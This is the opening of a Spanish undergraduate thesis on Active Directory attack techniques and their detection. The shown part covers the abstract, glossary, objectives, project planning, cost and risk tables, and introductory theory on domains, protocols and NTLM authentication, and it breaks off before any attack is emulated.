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“Conoce a tu enemigo y condcete a ti mismo; en cien batallas, nunca saldrds derrotado. Si
eres ignorante de tu enemigo pero te conoces a ti mismo, tus oportunidades de ganar o
perder son las mismas. St eres ignorante de tu enemigo y de ti mismo, puedes estar sequro
de ser derrotado en cada batalla.”

- Sun Tzu, El Arte de la Guerra






Resumen

Este trabajo tiene como objetivo analizar las tacticas, técnicas y procedimientos maés
utilizadas por adversarios en la actualidad en entornos de Directorio Activo. Los entornos
de Directorio Activo son un objetivo clave para los actores de amenazas debido a su papel
central en la gestion de identidades y accesos en las organizaciones. Si estos ataques tienen
éxito pueden suponer el robo de informaciéon confidencial o el secuestro de datos privados
mediante un ransomware, con las consecuencias econémicas, estratégicas y reputacionales
derivadas.

Para una mayor comprension de las técnicas utilizadas por los adversarios, se ha creado
un laboratorio virtual donde se han emulado. Esto ha permitido ver las formas en que un
adversario puede atacar un entorno de Directorio Activo, algunas herramientas que utilizan
y que rastro dejan esas técnicas para poder detectar su uso. También se han comentado
diferentes mitigaciones existentes para estos ataques.

Para caracterizar las tacticas y técnicas utilizadas por los adversarios se ha usado el
framework MITRE ATT&CK, con el fin de seguir un marco comin que pueda ser entendido
entre organizaciones.

Los resultados de este trabajo pueden ser utilizados por los equipos de ciberseguridad
de empresas y organismos para comprender parte de las amenazas actuales en entornos de

Directorio Activo y saber como defenderse ante ellas.

Palabras clave: Ciberseguridad, Directorio Activo, APT.






Abstract

This paper aims to analyze the tactics, techniques and procedures most commonly used
by adversaries in Active Directory environments today. Active Directory environments are
a key target for threat actors due to their central role in identity and access management in
organizations. If successful, these attacks can involve the theft of sensitive information or
the hijacking of private data using ransomware, with the resulting economic, strategic and
reputational consequences.

For a better understanding of the techniques used by adversaries, a virtual laboratory
has been created where they have been emulated. This has allowed to see the ways in which
an adversary can attack an Active Directory environment, some of the tools they use and
the traces left by these techniques in order to detect their use. Different existing mitigations
for these attacks have also been discussed.

To characterize the tactics and techniques used by adversaries, the MITRE ATT&CK
framework has been used, in order to follow a common framework that can be understood
across organizations.

The results of this work can be used by corporate and organization cybersecurity teams
to understand some of the current threats in Active Directory environments and how to

defend against them.

Keywords: Cibersecurity, Active Directory, APT
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(Glosario

Actor de amenazas Entidad o individuo que lleva a cabo ciberataques con fines maliciosos,

puede ser el responsable de llevar a cabo una APT.

APT Acréonimo de “Advanced Persistent Threat”. Una “Amenaza Persistente Avanzada”, es
un ciberataque dirigido caracterizado por la utilizacion de técnicas para ser detectado,
tener objetivos muy concretos y buscar un acceso persistente. Normalmente suelen ser
financiados por estados o grupos de ciberdelincuencia organizados. Se clasifican segiin

su motivacion, siendo actores estado, cibercriminales o hacktivistas.

Ataque Cualquier accion, intencionada o no, que busque danar la integridad, disponibilidad

o confidencialidad de un sistema informéatico.

Confidencialidad Garantia de que la informacion solo sera accedida por aquellos que estén

autorizados para ello.

Controlador de dominio Servidor en redes Windows que almacena y administra la infor-
maciéon de Directorio Activo. Critico para la autenticacion, autorizacion y gestion de

seguridad en la red.

CVE Acrénimo de “Common Vulnerabilities and Fxposures”. Sistema de identificacion es-

tandarizado para vulnerabilidades.

Directorio Activo Base de datos centralizada en redes Windows para gestionar usuarios,
equipos, permisos, politicas y recursos. Facilita la administraciéon de identidades, acceso
y seguridad, centralizando el control de las politicas de usuario y acceso a los recursos
de la red.

Disponibilidad Capacidad de acceder a los sistemas, datos y recursos informéticos cuando

son necesarios por parte de aquellos autorizados para hacerlo.

DNS Acrénimo de “Domain Name Services”. Protocolo de red que permite traducir nombres

de dominio legibles por humanos en direcciones IP numéricas.

EDR Acréonimo de “Endpoint Detection and Response”. Solucion de seguridad para dispo-

sitivos finales que monitoriza, detecta y responde a amenazas en tiempo real.

XV



Exploit Fragmento de codigo o secuencia de comandos utilizados para epxlotar una vulne-

rabilidad con el objetivo de realizar acciones maliciosas en un sistema informatico.

Golden Ticket Técnica que permite a un adversario generar un ticket que le permite ac-

ceder de forma completa y persistente a un dominio.

Hash Funcion matematica que transforma una serie de datos arbitrarios en una cadena
de longitud fija. Una misma entrada siempre tiene una misma salida y el proceso es

irreversible, no se puede conocer la entrada con el valor de la salida.

Integridad Garantia de que la informacién es precisa, completa y confiable, y de que esta

no ha sido modificada sin autorizacion.

KDC Acrénimo de “Key Distribution Center”. El centro de distribucién de claves es un
servicio presente en los controladores de dominio. Su funcién es proporcionar el servicio
de autenticacion y el servicio de concesion de tickets de Kerberos. Utiliza la cuenta del

dominio para la entidad de seguridad “krbtgt”.

Kerberoasting Técnica que explota una vulnerabilidad en el protocolo Kerberos para ob-

tener un TGS asociado a una cuenta con SPN.

Kerberos Protocolo de autenticacién desarrollado por el MIT que permite autenticacion

mutua en redes no seguras mediante un modelo cliente-servidor.

LDAP Acréonimo de “Lightweight Directory Access Protocol”. Protocolo de red que permite

a los usuarios buscar, anadir, modificar y eliminar informaciéon de un directorio.

LSASS Acrénimo de “Local Subsystem Authority Security Service”. Proceso presente en los

sistemas operativos Windows encargado de la autenticacion local y remota de usuarios.

Malware Cualquier tipo de software malicioso que tenga la intenciéon de causar danos en

un sistema informaéatico.

NTDS Base de datos que almacena todos los datos de un dominio de Directorio Activo

presente en el controlador de dominio.

NTLM Acrénimo de “ New Technologies Lan Manager”. Protocolo de autenticacion de Win-

dows que surge como mejora del protocolo Lan Manager .

Phishing Técnica de ingenieria social que utiliza correos electrénicos fraudulentos, men-
sajes de texto o sitios web para enganar a los usuarios para que revelen informacion

confidencial o realicen tareas con fines maliciosos.



Ransomware Tipo de malware que secuestra informaciéon y sistemas informaticos y que

exige un rescate econémico a cambio de la liberacion de estos.

RDP Acrénimo de “ Remote Desktop Protocol”. Protocolo de red que permite a los usuarios

conectar de forma remota un ordenador utilizando la interfaz grafica de este.

SIEM Acrénimo de “Security Information and Event Management”. Soluciéon de seguridad
que centraliza, analiza y correlaciona eventos de seguridad de diversos dispositivos y

redes.

SMB Acrénimo de “Server Message Block”. Protocolo de red que permite compartir archi-

vos ente sistemas Windows.

TGS Acronimo de “ Ticket Granting Service”. Archivos creados por el centro de distribuciéon

de claves de Keberos para que el usuario pueda autenticarse en aplicaciones del dominio.

TGT Acronimo de “ Ticket Granting Ticket”. Archivos creados por el centro de distribucion

de claves de Kerberos para poder autenticar. Utilizado para obtener TGTs.

TTP Acréonimo de “Tacticas Técnicas y Procedimientos”. Conjunto de métodos y acciones
utilizados por actores de amenazas para llevar a cabo un ciberataque. Las tacticas
son los comportamientos que los atacantes intentan llevar a cabo, las técnicas son los
métodos o tareas que se desarrollardn para conseguir la tactica y los procedimientos
son los pasos concretos que seguira un ciberdelincuente para desplegar sus técnicas y

conseguir que su ataque tenga éxito.

Vulnerabilidad Fallo en un sistema informatico que puede ser explotado por un atacante

para modificar su confidencialidad, integridad o disponibilidad.






Capitulo 1

Introducciéon

1.1. Contexto y motivaciéon

En el panorama actual de la ciberseguridad, organizaciones publicas y privadas se en-
frentan a una amenaza cada vez mayor, los ciberataques. Estos son cada vez més frecuentes,
habiendo aumentado un 28 % el primer cuatrimestre de 2024 con respecto al mismo periodo
del ano anterior |76]. Ningin organismo esta a salvo de estos ataques, pues los adversarios
tienen entre sus objetivos PYMES; las cuales son cada vez mas atacadas |74]; ayuntamientos,
como el de Sevilla [61] o incluso el Hospital Clinic de Barcelona, ciberataque que supuso un
retraso en su actividad y un filtrado de informacion sensible [58].

Por otra parte, la mayor parte de organizaciones utilizan la tecnologia de Directorio
Activo. Segtun Frost € Sullivan, Directorio Activo es usado por aproximadamente el 90 %
de las empresas de Global Fortune 1000 como método principal para la autenticaciéon y
autorizacion, lo que lo ha convertido en un objetivo principal para los adversarios [46].
Windows es el sistema operativo mas afectado por el ransomware |59 y segun Cybersecurity
Ventures se espera que el dano global del ransomware contintie creciendo exponencialmente,
superando los 265 billones de dolares americanos en 2031 [43].

Entender cuales son las tacticas, técnicas y procedimientos (TTPs) utilizadas por los
actores maliciosos para comprometer dominios de Directorio Activo en sus ataques, com-
prendiendo que vulnerabilidades utilizan y como las explotan, es una necesidad para que
los equipos de Blue Team y CSIRT (Computer Security Incidident Response Team) puedan

protegerse ante ellos.

Ademés, los actores maliciosos han ido profesionalizandose cada vez més, utilizando soft-
ware cada vez mas especifico en funciéon del objetivo. Se tiene constancia que los adversarios
han empezado a utilizar ChatGPT y otras herramientas de inteligencia artificial similares

para profesionalizar sus ataques [52], [67].

Si bien los atacantes se profesionalizan, los defensores no se quedan atras. La inteligencia

artificial y el machine learning también son utilizada por antivirus de nueva generaciéon
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[31] o por soluciones de EDR [81]. Pese a eso, si bien los EDR bien configurados son muy
herramientas muy utiles para la ciberseguridad de las empresas [30], la figura el threat hunter
sigue siendo necesaria. Este perfil se encarga de analizar registros de seguridad, investigar
alertas y estudiar casos avanzados de ataque. Para ello, debe tener conocimiento profundo
de las TTPs que utilizan los adversarios, lo que hace que tenga que mantenerse actualizado

sobre las diferentes fuentes de inteligencia de ciberamenazas.

1.2. Objetivos

1.2.1. Objetivos académicos

Este proyecto se desarrolla a fin de estudiar la importancia de los trabajos de anélisis
para comprender las tacticas, técnicas y procedimientos y ver que detecciones se generan
cuando los adversarios las utilizan para atacar entornos de Directorio Activo. Para ello se
realizard un enfoque mixto, por una parte ofensivo, para comprender la forma en que los
adversarios realizan estos ataques, y por otra parte defensivo, para comprender la forma en
que los defensores son capaces de detectar y responder a estos.

Para ello se requeriré lo siguiente:
1. Obtener un conocimiento profundo de las tendencias de ataque de los adversarios.

2. Comprender las tacticas, técnicas y procedimientos més criticas y utilizadas por los
adversarios recientemente contra entornos de Directorio Activo mediante su emulacion

en un entorno controlado.

3. Comprender que rastro deja la utilizaciéon de determinadas técnicas para comprender

como pueden ser detectadas.
4. Comprender como los adversarios realizan los procedimientos para poder comprender

coOmo mitigar estos ataques de forma efectiva.

1.2.2. Objetivos personales

Si bien este proyecto se ha planteado y realizado con fines académicos, la eleccion del

tema se ha realizado para cumplir una serie de objetivos personales:

1. Comprender, a base de configurar personalmente, como funciona un dominio de Direc-

torio Activo.

2. Estudiar los diferentes adversarios que operan actualmente comprendiendo su motiva-

cion y sus métodos.

3. Estudiar metodologias de ataques utilizadas en la actualidad por diferentes adversarios.
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4. Comprender como funcionan diferentes protocolos de Directorio Activo y qué vulnera-

bilidades pueden tener.

5. Comprender de que forma estas vulnerabilidades pueden ser mitigadas, a fin de poder

disenar y desplegar redes mas seguras.

1.3. Estructura del documento

El proyecto comienza con una explicaciéon en el marco teérico donde se explican con-
ceptos béasicos sobre Directorio Activo y adversarios para poder comprender mejor el resto.
Posteriormente se explican brevemente las tecnologias que se van a utilizar y como se ha
configurado el entorno para poder llevar a cabo la emulacion.

Acto seguido, se comenzaran a emular diferentes técnicas, detallando que adversarios
las han utilizado y de que formas. Se emulardn de una o mas formas y posteriormente se

explicaran diferentes detecciones y mitigaciones en base al estudio previo.
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Capitulo 2

Planificacion

2.1. Metodologia

El enfoque elegido para la realizaciéon de este proyecto se trata del modelo en cascada.
Este modelo consta de una serie de actividades ordenadas que como norma general se iran
realizando una tras otra, con la posibilidad de volver a la anterior si es necesario [1].

La motivacion para elegir este enfoque se basa en que es el que mas se adapta al proyecto

por su naturaleza.

Analisis de
ataques

------- Selecion de TTPs

Y

Configuracion del
entorno

¥
Realizacian,
deteccion y

mitigacion del

ataque

Figura 2.1: Modelo en cascada con las actividades del proyecto.

Como se puede ver en la figura [2.1] el proyecto consta de cuatro fases principales.
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. Anélisis de ataques: Durante esta actividad se estudiaran diferentes ataques, lo mas

recientes posibles, que puedan tener relacion con Directorio Activo.

Seleccion de TTPs: En base a la informacion obtenida durante la actividad anterior,
se seleccionara una serie de tacticas y técnicas que afecten a sistemas Windows y al
entorno de Directorio Activo. Se tendré en cuenta la cantidad de adversarios que las
han explotado, la importancia de estos asi como la viabilidad de realizarlas en un

entorno controlado con los medios de los que dispongo.

Configuracion del entorno: Una seleccionadas las técticas y técnicas, se configurara un
entorno donde este pueda realizarse, anadiendo usuarios y equipos necesarios asi como
las vulnerabilidades comunes que aprovechan los adversarios. En esta fase también se

incluyen diferentes pruebas de configuracion y conexion.

Realizacion, deteccion y mitigacion del ataque: Se implementaran las técnicas, se ex-

plicarén que detecciones pueden generarse y cémo estas pueden ser mitigadas.

Como puede apreciarse, la actividad de realizacion, deteccion y mitigacion es la que mas

contenido tiene. A fin de que se pueda estructurar de una forma mas inteligible para los

lectores, he decidido dar el siguiente enfoque a la actividad: Para cada técnica, primero

se explicard en que consiste y qué adversarios la han utilizado, posteriormente se realizara

el ataque, ejemplificando una o varias formas sobre como podria realizarlo un adversario,

posteriormente se analizaran comentara como pueden detectarse y finalmente se explicara

como

se puede mitigar este ataque. Esto queda ilustrado en la figura [2.2]

Explotacion de la
vulnerabilidad

b J

Andlisis de las
posibles

Andlisis de la

técnica :
detecciones
A
: Explicacidn de
———————————— diversas <
mitigaciones

Figura 2.2: Subactvidades de la actividad de realizacién, deteccion y mitigacion del ataque.

2.2.

Planificacion inicial

Para realizar la planificacion se ha dividido el proyecto en las diferentes actividades que

lo componen, las cuales se pueden ver en la figura 2.3] En esta figura se puede ver que se
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han definido actividades en 3 categorias diferentes, investigacion, configuracion del entorno
y ataque. Estas categorias han surgido en base a las diferentes fases que se pueden encontrar

en el modelo en cascada.

Proyvecto

o, Configuracion
Investigacion del entrono Ataque
| |Adversarios y | Conf. | Explicacidn
atagques VirtualBox vulnerabilidad
| | Active | |cont dominio | | Realizacidn
Directory : del ataque
|| Planificacidn | |Conf. resto de | | Explicacidn
del ataque magquinas detecciones
Explicacidn
mitigaciones

Figura 2.3: Estructura de desglose del trabajo.

Dentro de la categoria de actividades relacionadas se encuentran las relacionadas con
los diferentes adversarios y campanas que han llevado a cabo, poniendo especial foco en
aquellas que tengan que ver con compromisos de dominio de directorio activo. También
entra la investigacion especifica sobre administracion de Directorio Activo, sus protocolos y
cuestiones de seguridad especificas en este. También he decidido incluir la actividad destinada
a decidir el vector de ataque en esta categoria, pues también tiene un alto componente de
investigacion.

En la categoria relacionada con la configuracion se sitiian todas las actividades relaciona-
das con crear la infraestructura para poder realizar la ultima parte del proyecto. Esto incluye
la configuraciéon en VirtualBox de las maquinas virtuales a utilizar y las conexiones de red
correspondientes.

Finalmente, en la categoria de ataque, se encuentra todo relacionado con la realizacion del
ataque, desde la explicacion de las vulnerabilidades a diferentes mitigaciones que deberian
implementarse. Dado que todavia no se sabe cual es el vector de ataque

Estas actividades se han organizado segtin su precedencia en una red de actividades, la
cual se puede ver en la figura [2.4]

Como se aprecia en la el diagrama, hasta que no se termine de investigar sobre ataques

y adversarios y sobre directorio activo no se podra comenzar la actividad de planificacién
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Figura 2.4: Red de precedencia de actividades.

comentado anteriormente, se realizaran en paralelo.

del ataque, si la cual no se conocera el entorno a configurar. Una vez se haya configurado

el entorno, se podran realizar las actividades del ataque y su anélisis, que, como se ha

A estas alturas del proyecto es imposible conocer a ciencia cierta qué hay que configurar
y cuales van a ser las técnicas a implementar. Hasta que no se realice la investigacion no se
podran decidir las técnicas, y sin estas no se conoceré ni el entorno especifico a configurar.

Por eso se han definido actividades de caracter més general, que segin avance el proyecto
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podréan definirse mejor.

Calendarizacion

Dado que se trata de un Trabajo de Fin de Grado realizado en empresa, este se realizara
mayoritariamente durante la duracion de las practicas extracurriculares, pero también con
dedicacion fuera de estas. Las practicas extracurriculares comenzaran el dia 23 de abril de
2024, y tienen la fecha de finalizacion prevista del 14 de junio de 2024, que coincide con la
fecha esperada de entrega de la memoria. Estas practicas tienen un horario de 7 horas diarias

de lunes a viernes, lo que supone 35 horas semanales, con una duraciéon total de 252 horas.

Antes del comienzo de las practicas extracurriculares se comenzaré con las fases de in-

vestigacion, siendo la fecha limite para obtener las técnicas a implementar el 3 de mayo.

A partir del 6 de mayo, se espera comenzar con la configuraciéon de todo el entorno sobre

el que se va a trabajar, el cual debera estar terminado y funcional el 17 de mayo.

Finalmente, desde el 20 de mayo hasta el 14 de junio se realizaran los ataques y se

documentaran estos junto a las vulnerabilidades, detecciones y mitigaciones.

Durante todas estas fases, se ird realizando en paralelo lo relativo a la redaccion de la

memoria.

2.3. Analisis de costes

En este proyecto se pueden encontrar tres categorias de costes, los costes humanos, los

relacionados con el software y los relacionados con el hardware.

2.3.1. Costes humanos

Dentro de los costes humanos se tienen en cuenta los gastos asociados a contratar a un
analista de ciberseguridad junior durante la duraciéon del proyecto. Segun la web Glassdoor,
el sueldo medio bruto anual para una analista de ciberseguridad junior en Espana es de
23.327€. Ponderando los resultados de cuanto costaria a una empresa pagar ese salario a un
empleado entre varias calculadoras disponibles en internet se obtienen unos 32.000€ anuales.
Suponiendo que todos los meses se trabaja el mismo ntimero de dias, los cuales son 22, cada
dia costaria a la empresa unos 121 euros. Suponiendo que la jornada laboral dura 8 horas,
se obtiene que la empresa paga aproximadamente 15 euros por cada hora trabajada de un
analista de ciberseguridad junior. Dado que este proyecto tiene asociados 12 créditos ECTS,
lo cual equivale a 300 horas, el coste de contratar a un analista junior de ciberseguridad para

realizarlo seria de 4500 euros.
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2.3.2. Costes de software

Dentro de los costes relacionados con el software a utilizar se encuentran las licencias de
los sistemas operativos Windows. En este apartado se incluyen los servidores y las estaciones
de trabajo. Se espera utilizar una licencia de Windows Server 2022, que ira destinada al
controlador de dominio, y dos licencias de Windows 10 Pro. La licencia de Windows Server
2022 tiene un coste aproximado de 1000€. Cada licencia Windows 10 Pro tiene un coste
aproximado de 170€. Por lo que en total, se estima un coste para las licencias de Windows
de 1340€.

2.3.3. Costes de hardware

En cuanto a los costes relacionados con el hardware, se encuentra el coste del equipo
proporcionado por la empresa para poder realizar el trabajo. Este ordenador se trata de
un portatil HP Probook con procesador ¢7-1165G7 con 16GB de memoria RAM y 1TB de

almacenamiento, el cual tiene un coste aproximado de 1100€.

2.4. Gestion de riesgos

Este proyecto, al igual que cualquier otro, no esta exento de riesgos. Segin la guia de
Project Management Body of Knowledge, un riesgo se define como “un evento o condicion
incierta que, en caso de producirse, tiene efectos positivos o negativos sobre los objetivos del
proyecto” [25]. El principal objetivo de esta gestion de riesgos es reducir esa incertidumbre
generada que pueda afectar al éxito del proyecto.

Un marco habitual para gestionar riesgos consiste en cuatro fases. Primero, identificar
los riesgos a través de listas de comprobacion o lluvia de ideas. A continuacion se analiza
cada riesgo y se priorizan segun la probabilidad de ocurrir y el impacto sobre el proyecto.
Posteriormente se planifica que se va a hacer con los riesgos, aceptarlos, evitarlos, reducirlos
y mitigarlos o transferirlos. Finalmente, durante la ejecucion del proyecto, se va realizando
un seguimiento de estos [1].

Para gestionar los riesgos se han creado diferentes tablas, una para cada riesgo, donde se
puede encontrar su titulo, una descripciéon mas detallada, el impacto, la probabilidad de que
ocurra, una serie de reducciones que reducen la probabilidad de que se materialice el riesgo,
o en caso de que se materialicen, reducen su impacto. Tanto el impacto como la probabilidad
se miden en valores numéricos entre 1 y 10. Para el impacto, un 1 implica un efecto infimo en
el proyecto mientras que un 10 supone un gran problema. Para la probabilidad un 1 implica
que es practicamente imposible que ocurra y un 10 que va a ocurrir con total seguridad.

Para poder clasificar los riesgos, también se anade la importancia, la cual tiene un valor
entre 1 y 100 y se obtiene multiplicando el impacto de ese riesgo por su probabilidad.

Se han documentado los siguientes riesgos desde la tabla hasta la tabla [2.9]



Planificacion

11

RO1
Titulo Baja del estudiante.
Descripcion Debido a enfermedad o accidente no puedo avanzar en la realizacion
del proyecto durante un periodo de tiempo.
Impacto 8
Probabilidad 3
Importancia 24

Plan de mitigacion

Prevencion de riesgos laborales, extremar precauciones al realizar ac-
tividades deportivas y de ocio.

Plan de contingencia

Recuperar las horas en otro momento para poder seguir la planifica-
cion.

Tabla 2.1: RO1: Baja del estudiante.

RO02
Titulo Baja del tutor en empresa.
Descripcion Debido a enfermedad o accidente el tutor en la empresa no puede
realizar un seguimiento del proyecto durante un periodo de tiempo.
Impacto 8
Probabilidad 3
Importancia 24
Plan de mitigacion Nada.

Plan de contingencia

Esperar a consultar dudas una vez mejore o consultar a otros compa-
neros del trabajo si me impiden continuar con el proyecto.

Tabla 2.2: R02: Baja del tutor en empresa.

RO3
Titulo Baja del tutor académico.
Descripcion Debido a enfermedad o accidente el tutor en la empresa no puede
realizar un seguimiento del proyecto durante un periodo de tiempo.
Impacto 7
Probabilidad 3
Importancia 21
Plan de mitigacion Nada.
Plan de contingencia | Esperar a consultar dudas una vez mejore.

Tabla 2.3: R03: Baja del tutor académico.




12 Planificacion
RO4

Titulo Problemas técnicos en el dispositivo de trabajo.

Descripcion Imposibilidad parcial o total del uso del dispositivo de trabajo, por-
tatil, ya sea por problemas de hardware, que me impidan avanzar en
el proyecto o perder avances.

Impacto 9

Probabilidad 2

Importancia 18

Plan de mitigaciéon

Mantener el dispostivio actualizado con versiones estables, extremar
precauciones al transportarlo, no instalar aplicaciones que puedan
causar problemas, utilizar la nube para sincronizar el trabajo y gene-
rar copias de seguridad de archivos que no estén en la nube.

Plan de contingencia

Contactar con los técnicos de la empresa para solucionar el problema.

Tabla 2.4:

R04: Problemas técnicos en el dispositivo de trabajo.

RO5
Titulo Estimaciones incorrectas de tiempo.
Descripcion Fallos en los calculos de estimaciones durante la realizacion del pro-
yecto que causen demoras.
Impacto 8
Probabilidad 4
Importancia 32

Plan de mitigacion

Realizar la planificacion de la forma maés realista posible, dejar flotabi-
lidad entre las tareas, realizar comprobaciones peridédicas del avance.

Plan de contingencia

Trabajar mas horas de las esperadas, modificar alguna tarea que esté
llevando mas tiempo del previsto por una con resultados similares.

Tabla 2.5: R05: Estimaciones incorrectas de tiempo.

RO6
Titulo Falta de conocimientos para usar herramientas.
Descripcion No ser capaz de utilizar alguna de las herramientas seleccionadas.
Impacto 7
Probabilidad 3
Importancia 21

Plan de mitigacion

Priorizar el uso de herramientas que ya he utilizado, aquellas que
tienen mas documentacion o aquellas que algin companero de trabajo
ya ha utilizado.

Plan de contingencia

Buscar alternativas a esa herramienta.

Tabla 2.6:

RO6: Falta de conocimientos para usar herramientas.
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RO7

Titulo Entorno con fallos de configuraciéon no intencionados.

Descripcion El entorno sobre el cual se va a realizar dispone de fallos de configura-
ciéon no intencionados, que no permiten su funcionamiento de forma
correcta .

Impacto 10

Probabilidad 3

Importancia 30

Plan de mitigacion

Obtener conocimientos de administraciéon bésica de Directorio Activo.

Plan de contingencia

Comprender que causa el problema para poder solucionarlo.

Tabla 2.7: RO7: Entorno con fallos de configuracién no intencionados.

ROS8
Titulo Partes del ataque planificado no realizables en el entorno.
Descripcion El entorno sobre el cual se va a realizar dispone de fallos de configu-
racion no intencionados, que pueden imposibilitar su funcionamiento
de forma correcta o alguna parte del ataque .
Impacto 10
Probabilidad 4
Importancia 40

Plan de mitigacion

Comprender los ataques que voy a realizar, las vulnerabilidades que
explotan y realizar previamente pruebas de estos en un entorno mas
pequeno.

Plan de contingencia

Buscar otros ataques que puedan servir de alternativa para continuar
con el ejercicio.

Tabla 2.8: R08: Partes del ataque planificado no realizables en el entorno.

RO09
Titulo Falta de conocimientos para mitigar una vulnerabilidad detectada.
Descripcion Detectar una vulnerabilidad la cual no sé a ciencia cierta como miti-
gar.
Impacto 9
Probabilidad 4
Importancia 36

Plan de mitigacion

Comprender los ataques que voy a realizar, las vulnerabilidades que
explotan y realizar previamente pruebas de estos en un entorno mas
pequeno.

Plan de contingencia

Utilizar internet para buscar informacion o pedir ayuda a mis com-
paneros de trabajo.

Tabla 2.9: R09: Falta de conocimientos para mitigar una vulnerabilidad detectada.
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Capitulo 3
Contexto tebrico

En el presente capitulo se daran explicaciones sobre diferentes conceptos o tecnologias
que se van a comentar durante el resto del documento para facilitar la comprension de este,

estableciendo un marco tedrico sobre el cual se va a trabajar.

3.1. Directorio Activo

Un directorio es una estructura jerarquica que almacena informacion sobre los objetos en
la red. Un servicio de directorio, como “Active Directory Domain Services”, AD DS por sus
siglas en inglés, proporciona métodos para almacenar datos de directorio y que estos estén
a disposicion de administradores y usuarios de la red [53].

Directorio Activo, también conocido como Active Directory, es una base de datos y con-
junto de servicios que conectan a usuarios con recursos de red que necesitan para realizar
su trabajo. Estos servicios también se encargan de la autenticacion, asegurarse de que una
persona es quien dice ser, y de la autorizacion, solo puede acceder a los datos a los que se le
permite acceder. Esta base de datos del dominio se almacena en los controladores de dominio
en un archivo llamado “NTDS.dit”.

Directorio Activo es muy utilizado en empresas debido a su gran escalabilidad, pues es
util en empresas pequenas con pocos equipos y empleados asi como en empresas que cuentan
con millones de objetos por dominio. Atn asi, no fue disenado para ser seguro, lo cual hace

que pueda ser mal configurado con facilidad, lo que conlleva a una gran superficie de ataque.

3.1.1. Estructura de Directorio Activo

Cualquier recurso dentro de un Directorio Activo recibe el nombre de objeto. Comun-
mente se pueden encontrar usuarios, grupos, ordenadores, impresoras o dominios entre otros.
Algunos objetos pueden contener otros objetos, como es el caso de los dominios, grupos o

las unidades organizativas. Los objetos tienen atributos [5]. En el caso de un usuario estos

15
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atributos pueden ser el nombre, su contrasena, descripcion, puesto, grupos a los que perte-
nece, el identificador tnico global (GUID) o el identificador de seguridad (SID) entre muchos
otros.

Los identificadores de seguridad, SID por sus siglas en inglés, permiten reconocer de forma
tnica una entidad de seguridad o un grupo de seguridad. Estas entidades y grupos hacen
referencia a cualquier entidad que el sistema operativo pueda autenticar, como usuarios,
maquinas o servicios. Una vez se asigna un SID, este no vuelve a asignarse a nada mas en
el dominio [62]. Existen una serie de SID conocidos, algunos de los cuales pueden verse en
la tabla [3.1] Cémo puede observarse en la tabla, el dominio tiene un identificador, dentro
del cual existen diferentes cuentas las cuales tienen un identificador relativo constante que

permite identificar rapidamente cuentas relevantes dentro del dominio.

SID Nombre
S-1-5-113 Cuenta local
S-1-5-114 Cuenta local y miembro del grupo Administradores
S-1-5-7 Inicio de sesi6on anénimo

S-1-5-domain-500 | Cuenta del Administrador del Dominio
S-1-5-domain-501 | Cuenta de usuario Invitado

S-1-5-domain-502 | Cuenta del usuario KRBTGT
S-1-5-domain-512 | Grupo global de Administradores del Dominio

Tabla 3.1: Algunos SID conocidos en Directorio Activo [62].

En directorio activo también se utilizan los SPN, Nombre Principal de Servicio, como
identificador tnico de servicios en redes Windows que utilizan Kerberos. Permite que los
clientes ubiquen los servicios y se comuniquen con ellos. Al registrar un SPN en Directorio
Activo se asocia el servicio con una cuenta o grupo especifico, lo que permite que Kerberos
valide la identidad del servicio [51].

La parte clave de un entorno de Directorio Activo es el domino, Domain en inglés. Dentro
de un dominio se pueden guardar millones de objetos. Son un limite de seguridad y los
administradores de dominio tienen permiso total para establecer directivas en ese dominio.
Cada dominio en Directorio Activo se identifica con un Domain Name System y requiere de
al menos un controlador de dominio [§].

Varios dominios se pueden agrupar en un arbol, tree en inglés, los cuales se suelen es-
tructurar en un dominio raiz o padre del cual surgen dominios hijos. Todos los dominios de
un arbol comparten un espacio de nombres y cada vez que se anade un dominio a un arbol,
se crea una relacion de confianza del tipo padre-hijo [8].

Los arboles a su vez también se pueden agrupar en bosques, forest en inglés. Los bosques
son los contenedores logicos de mas alto nivel dentro de un dominio de directorio activo. Es
un grupo de arboles que comparten esquemas de directorio, catélogos o configuraciones de
dominio. A diferencia de los dominios con respecto a los arboles, los arboles de un bosque

no comparten espacio de nombres [6].
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Las relaciones de confianza, trusts en inglés, se utilizan para establecer la autenticacion
entre bosque-bosque o dominio-dominio. Estas relaciones de confianza se clasifican segin el
tipo de relacion, la cual determina la direccion de la confianza entre dominios [3].

Como se ha comentado antes, todos los dominios deben tener al menos un controlador de
dominio. Al crear el primer controlador de dominio también se crean el primer dominio, el
primer bosque se instala Directorio Activo [7]. Los controladores de dominio son servidores
de Windows a los cuales se les ha asignado ese rol. Desde un controlador de dominio los
administradores de este pueden realizar cambios en las politicas de grupos, cuentas, servicios

y demaés configuraciones del dominio.

3.1.2. Protocolos utilizados en Directorio Activo

Directorio activo utiliza diferentes protocolos para su funcionamiento, especialmente para
poder comunicarse. En este apartado se explicardn los més importantes, especialmente los
que tienen relevancia en el resto del documento. Los protocolos dedicados la a autenticacion

se detallan en la secciéon B.1.3]

DNS

Active Directory utiliza el protocolo de Resolucion de Nombres de Dominio, DNS por
sus siglas en inglés, para que los hosts puedan encontrar los controladores de dominio y para
que los controladores de dominio se comuniquen entre si [54]. Por defecto utiliza el puerto
53 de UDP, pero también puede utilizar el 53 de TCP.

LDAP

Active Directory utiliza el Protocolo de Acceso Ligeros a Directorios, LDAP por sus si-
glas en inglés, para proveer una forma de acceder y solicitar varios servicios de directorio. En
este protocolo se pueden encontrar dos tipos de autenticacion, la simple, que incluye auten-
ticacion andénima, sin autenticacion o usuario-contrasena, y la autenticacion SASL (Simple
Authentication and Security Layer), que utiliza otros servicios de autenticacion, cominmente
Kerberos [68|. Utiliza el puerto 389 de TCP o, si es sobre SSL, el 636 de TCP.

SMB

Server Message Block es un protocolo de red que facilita la comparticiéon de archivos y
recursos entre equipos en una red local. Una vez un usuario se ha autenticado en el dominio,
y se le ha autorizado a acceder a un recurso compartido, este puede realizar las acciones sobre
este que sus permisos le permitan. Este protocolo se encarga de compartir los directorios y

archivos presentes en el servidor que contiene el recurso compartido con el usuario de forma
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segura, utilizando mecanismos de cifrado para ello. Utiliza el puerto 445 de TCP por defecto,

pero también puede utilizar el puerto 139 TCP.

3.1.3. Autenticacion en Directorio Activo

En este apartado se explican los protocolos utilizados para la autenticacion en Directorio
Activo, los cuales son NTLM y Kerberos [10].

Funcionamiento de NTLM

New Technology LAN Manager (NTLM) es un conjunto de protocolos que permiten que
diferentes ordenadores y servidores se identifiquen entre si [23|. El proceso de autenticacion

se basa en un procedimiento de desafio respuesta con 3 fases que se puede ver en la figura

B.I

R 1. NEGOTIATE MSG cehlli
cliente » servidor

2. CHALLENGE MSG

€

3. AUTHENTICATE MSG}

